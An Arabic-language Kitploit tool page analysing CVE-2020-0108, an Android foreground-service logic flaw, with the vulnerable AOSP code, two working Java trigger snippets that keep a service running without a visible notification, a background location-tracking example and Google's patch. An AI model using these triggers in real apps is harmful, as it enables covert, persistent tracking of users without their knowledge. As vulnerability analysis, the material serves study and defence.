Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
ServiceCheater — إثبات المفهوم لـ CVE-2020-0108 | Kitploit
أدوات/GitHubGitHub/crackercat/servicecheater
أمان أندرويدتصعيد الامتيازاتتحليل الثغرات الأمنيةالاستغلالاختبار الاختراقأمن الجوال
GitHubcrackercat/servicecheater

ServiceCheater

إثبات المفهوم لـ CVE-2020-0108

عرض المستودع
111منذ 6 سنواتلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2020-0108 تحليل ثغرة رفع صلاحية خدمة المقدمة

١. خلفية الثغرة

  • في تصحيح AOSP لشهر أغسطس ٢٠٢٠، تم الكشف عن ثغرة في طبقة AMS، برقم CVE-2020-0108، بتصنيف عالٍ (High). وهي ثغرة منطقية في معالجة الخدمات الأمامية في AMS. يمكن للمهاجم الذي يستغلها بنجاح تجاوز عرض إشعار الخدمة الأمامية والاستمرار في العمل في الخلفية. يتطلب الهجوم تطبيقًا ضارًا محليًا، ولا يحتاج إلى تفاعل المستخدم. إذا منح المستخدم التطبيق صلاحيات أخرى، فقد يتسبب في ضرر أكبر، مثل تتبع الموقع باستمرار أو التسجيل الصامت.

٢. تفاصيل الثغرة

  • الخدمة الأمامية هي مفهوم قدمته Google في Android 8.0. نظرًا لأن Android 8.0 لا يسمح ببدء الخدمات الخلفية من الخلفية، فقد تم تصميم مفهوم الخدمة الأمامية. للخدمة الأمامية أولوية عالية ويمكنها العمل في الخلفية لفترة طويلة، لكن يجب ربطها بإشعار خلال ٥ ثوانٍ من بدئها، وإلا سيتم قتلها. في الواقع، الخدمة الأمامية لا تزال تعمل في "الخلفية"، لكن نظرًا لربطها بإشعار مرئي للمستخدم، تسميها Google "الخدمة الأمامية".
  • لهذه الثغرة طريقتان للهجوم، تتوافقان مع ثغرتين منطقيتين.
  • الثغرة الأولى هي في طريقة onNotificationError في NotificationManagerService، والتي لا تعالج الحالات الشاذة في عرض الإشعار بشكل صحيح.
root@kitploit:~
// frameworks/base/services/core/java/com/android/server/notification/NotificationManagerService.java
@Override
public void onNotificationError(int callingUid, int callingPid, String pkg, String tag,
        int id, int uid, int initialPid, String message, int userId) {
        cancelNotification(callingUid, callingPid, pkg, tag, id, 0, 0, false, userId,
                REASON_ERROR, null);
}
  • في هذه الحالة، بعد بدء الخدمة الأمامية، حتى إذا فشل عرض الإشعار بشكل صحيح، لا يؤدي ذلك إلى إنهاء الخدمة الأمامية. على سبيل المثال، عند استخدام تخطيط مخصص في إنشاء الإشعار، وتمرير قيمة resID غير موجودة عند بناء كائن RemoteViews، يفشل تحليل تخطيط الإشعار في NotificationManagerService ويطرح استثناءً، مما يستدعي طريقة onNotificationError. نظرًا لأن طريقة onNotificationError تستدعي فقط cancelNotification لإلغاء الإشعار، ولا تقوم بإنهاء الخدمة أو التطبيق بالكامل، تستمر الخدمة الأمامية في العمل دون عرض إشعار.
  • الثغرة الثانية هي في طريقة postNotification في ServiceRecord، والتي لا تعالج الحالات الشاذة في عرض الإشعار بشكل صحيح، بل تطرح الاستثناء إلى برنامج المستخدم.
root@kitploit:~
// frameworks/base/services/core/java/com/android/server/am/ServiceRecord.java
public void postNotification() {
    final int appUid = appInfo.uid;
    final int appPid = app.pid;
    if (foregroundId != 0 && foregroundNoti != null) {
        //...
        ams.mHandler.post(new Runnable() {
            public void run() {
                //...
                try {
                    //...
                } catch (RuntimeException e) {
                    Slog.w(TAG, "Error showing notification for service", e);
                    // If it gave us a garbage notification, it doesn't
                        // get to be foreground.
                    ams.setServiceForeground(instanceName, ServiceRecord.this,
                            0, null, 0, 0);
                    ams.crashApplication(appUid, appPid, localPackageName, -1,
                            "Bad notification for startForeground: " + e);
                }
            }
        });
    }
}
  • في هذه الحالة، بعد بدء الخدمة الأمامية، إذا قام برنامج المستخدم بالتقاط الاستثناء في الخيط الرئيسي، حتى إذا فشل عرض الإشعار بشكل صحيح، لا يؤدي ذلك إلى إنهاء الخدمة الأمامية. على سبيل المثال، عند تمرير معرف قناة غير صالح في إنشاء الإشعار، يطرح الاستثناء عند إرسال الإشعار في طريقة postNotification في ServiceRecord. في معالجة الاستثناء، يتم فقط استدعاء طريقة crashApplication في AMS لطرح استثناء في الخيط الرئيسي للتطبيق. لكن إذا قام التطبيق بالتقاط الاستثناء في الخيط الرئيسي، فلن ينهار التطبيق، وبالتالي تستمر الخدمة الأمامية في العمل دون عرض إشعار.

٣. التحقق من الثغرة

  • الثغرة الأولى، يمكن تشغيلها باستخدام الكود التالي في الخدمة الأمامية
root@kitploit:~
NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE);
NotificationChannel notificationChannel = new NotificationChannel("c01", "CVE-2020-0104", NotificationManager.IMPORTANCE_DEFAULT);
notificationChannel.setDescription("Testing CVE-2020-0104");
notificationChannel.enableLights(true);
notificationChannel.setLightColor(Color.RED);
notificationChannel.enableVibration(true);
notificationChannel.setVibrationPattern(new long[]{100, 200, 300, 400, 500, 400, 300, 200, 100});
notificationManager.createNotificationChannel(notificationChannel);
//  Create a RemoteViews object with a invalid layout ID
RemoteViews remoteViews = new RemoteViews(getPackageName(), -1 /* A Invalid Layout ID */);
Notification notification = new NotificationCompat.Builder(this, "c01")
        .setContentTitle("Testing CVE-2020-0104")
        .setContentText("If you see this means you device is not vulnerable")
        .setCustomBigContentView(remoteViews)
        .setWhen(System.currentTimeMillis())
        .setSmallIcon(R.drawable.ic_launcher_foreground)
        .setLargeIcon(BitmapFactory.decodeResource(getResources(), R.drawable.ic_launcher_foreground))
        .build();
startForeground(1, notification);
  • عند إنشاء كائن RemoteViews، قمنا بتحديد معرف التخطيط -1، وهو بالتأكيد قيمة غير صالحة. هذا يؤدي إلى تشغيل استدعاء onNotificationError.
  • الثغرة الثانية، يمكن تشغيلها باستخدام الكود التالي في الخدمة الأمامية
root@kitploit:~
//   Handle the exception in main loop
new Handler(Looper.getMainLooper()).post(new Runnable() {
    @Override
    public void run() {
        while (true) {
            try {
                Looper.loop();
            } catch (Throwable e) {
                e.printStackTrace();
            }
        }
    }
});
//   Create a Notification object with a invalid channel ID
Notification notification = new NotificationCompat.Builder(this, "InvalidInvalidInvalid" /* A Invalid Channel ID */)
        .setContentTitle("Testing CVE-2020-0104")
        .setContentText("If you see this means you device is not vulnerable")
        .setWhen(System.currentTimeMillis())
        .setSmallIcon(R.drawable.ic_launcher_foreground)
        .setLargeIcon(BitmapFactory.decodeResource(getResources(), R.drawable.ic_launcher_foreground))
        .build();
startForeground(2, notification);
  • هذه المرة لم نقم بإنشاء كائن NotificationChannel، بل استخدمنا معرف قناة غير صالح مباشرة لبناء الإشعار. هذا يؤدي إلى تشغيل استثناء طريقة postNotification، ثم نلتقط الاستثناء في الخيط الرئيسي، وبالتالي لا ينهار التطبيق.

٤. تأثير الثغرة

  • باستغلال هذه الثغرة بنجاح، يمكن للتطبيق الضار تشغيل خدمة أمامية عالية الأولوية في الخلفية بصمت والاستمرار في العمل.
  • التأثير الأكبر هو أن التطبيق يستخدم صلاحية الموقع لتتبع المستخدم. نظرًا لاستخدام خدمة أمامية، حتى إذا تم اختيار "السماح فقط بالوصول إلى الموقع في المقدمة"، يمكن تتبع الموقع في "الخلفية" دون علم المستخدم.
root@kitploit:~
public void refreshLocation() {
    LocationManager locationManager = (LocationManager) getSystemService(Context.LOCATION_SERVICE);
    String provider = LocationManager.GPS_PROVIDER;
    if (!checkPermission(Manifest.permission.ACCESS_FINE_LOCATION)) {
        return;
    }
    locationManager.requestLocationUpdates(provider, 2000, 10, new LocationListener() {
        @Override
        public void onLocationChanged(Location location) {
            double lat = location.getLatitude();
            double lng = location.getLongitude();
            Log.i(TAG, "Location Update: Latitude="+lat+",Longitude="+lng);
        }

        @Override
        public void onStatusChanged(String provider, int status, Bundle extras) {

        }

        @Override
        public void onProviderEnabled(String provider) {

        }

        @Override
        public void onProviderDisabled(String provider) {

        }
    });
}

٥. تصحيح الثغرة

  • قامت Google بإصلاح هذه الثغرة في تصحيح أغسطس ٢٠٢٠. التعديل الرئيسي هو فرض انهيار التطبيق في استدعاء onNotificationError، وكذلك في معالجة الاستثناء في طريقة postNotification، يتم فرض انهيار التطبيق. في طريقة crashApplication، مع الوضع القسري force=true، يقوم AMS بقتل التطبيق قسرًا خلال ٥ ثوانٍ من طرح الاستثناء، حتى إذا قام التطبيق بالتقاط الاستثناء.
  • في طريقة onNotificationError، يتم استدعاء crashApplication لانهيار التطبيق، مع force=true.
root@kitploit:~
// frameworks/base/services/core/java/com/android/server/notification/NotificationManagerService.java
@Override
public void onNotificationError(int callingUid, int callingPid, String pkg, String tag,
        int id, int uid, int initialPid, String message, int userId) {
    final boolean fgService;
    synchronized (mNotificationLock) {
        NotificationRecord r = findNotificationLocked(pkg, tag, id, userId);
        fgService = r != null && (r.getNotification().flags & FLAG_FOREGROUND_SERVICE) != 0;
    }
    cancelNotification(callingUid, callingPid, pkg, tag, id, 0, 0, false, userId,
            REASON_ERROR, null);
    if (fgService) {
        // Still crash for foreground services, preventing the not-crash behaviour abused
        // by apps to give us a garbage notification and silently start a fg service.
        Binder.withCleanCallingIdentity(
                () -> mAm.crashApplication(uid, initialPid, pkg, -1,
                    "Bad notification(tag=" + tag + ", id=" + id + ") posted from package "
                        + pkg + ", crashing app(uid=" + uid + ", pid=" + initialPid + "): "
                        + message, true /* force */));
    }
}
  • في معالجة استثناء طريقة postNotification، يتم استدعاء طريقة killMisbehavingService لقتل الخدمة التي تتصرف بشكل غير طبيعي.
root@kitploit:~
// frameworks/base/services/core/java/com/android/server/am/ServiceRecord.java
} catch (RuntimeException e) {
    Slog.w(TAG, "Error showing notification for service", e);
    // If it gave us a garbage notification, it doesn't
    // get to be foreground.
    ams.mServices.killMisbehavingService(record,
            appUid, appPid, localPackageName);
}
  • في طريقة killMisbehavingService، بالإضافة إلى القفل، يتم أيضًا استدعاء طريقة crashApplication.
root@kitploit:~
// frameworks/base/services/core/java/com/android/server/am/ActiveServices.java
void killMisbehavingService(ServiceRecord r,
    int appUid, int appPid, String localPackageName) {
    synchronized (mAm) {
        stopServiceLocked(r);
        mAm.crashApplication(appUid, appPid, localPackageName, -1,
            "Bad notification for startForeground", true /*force*/);
    }
}
  • معالجة force=true تكون كالتالي: خلال ٥ ثوانٍ من طرح الاستثناء، يتم قتل التطبيق قسرًا.
root@kitploit:~
// frameworks/base/services/core/java/com/android/server/am/AppErrors.java
if (force) {
    // If the app is responsive, the scheduled crash will happen as expected
    // and then the delayed summary kill will be a no-op.
    final ProcessRecord p = proc;
    mService.mHandler.postDelayed(
            () -> killAppImmediateLocked(p, "forced", "killed for invalid state"),
            5000L);
}
تنزيل الأداة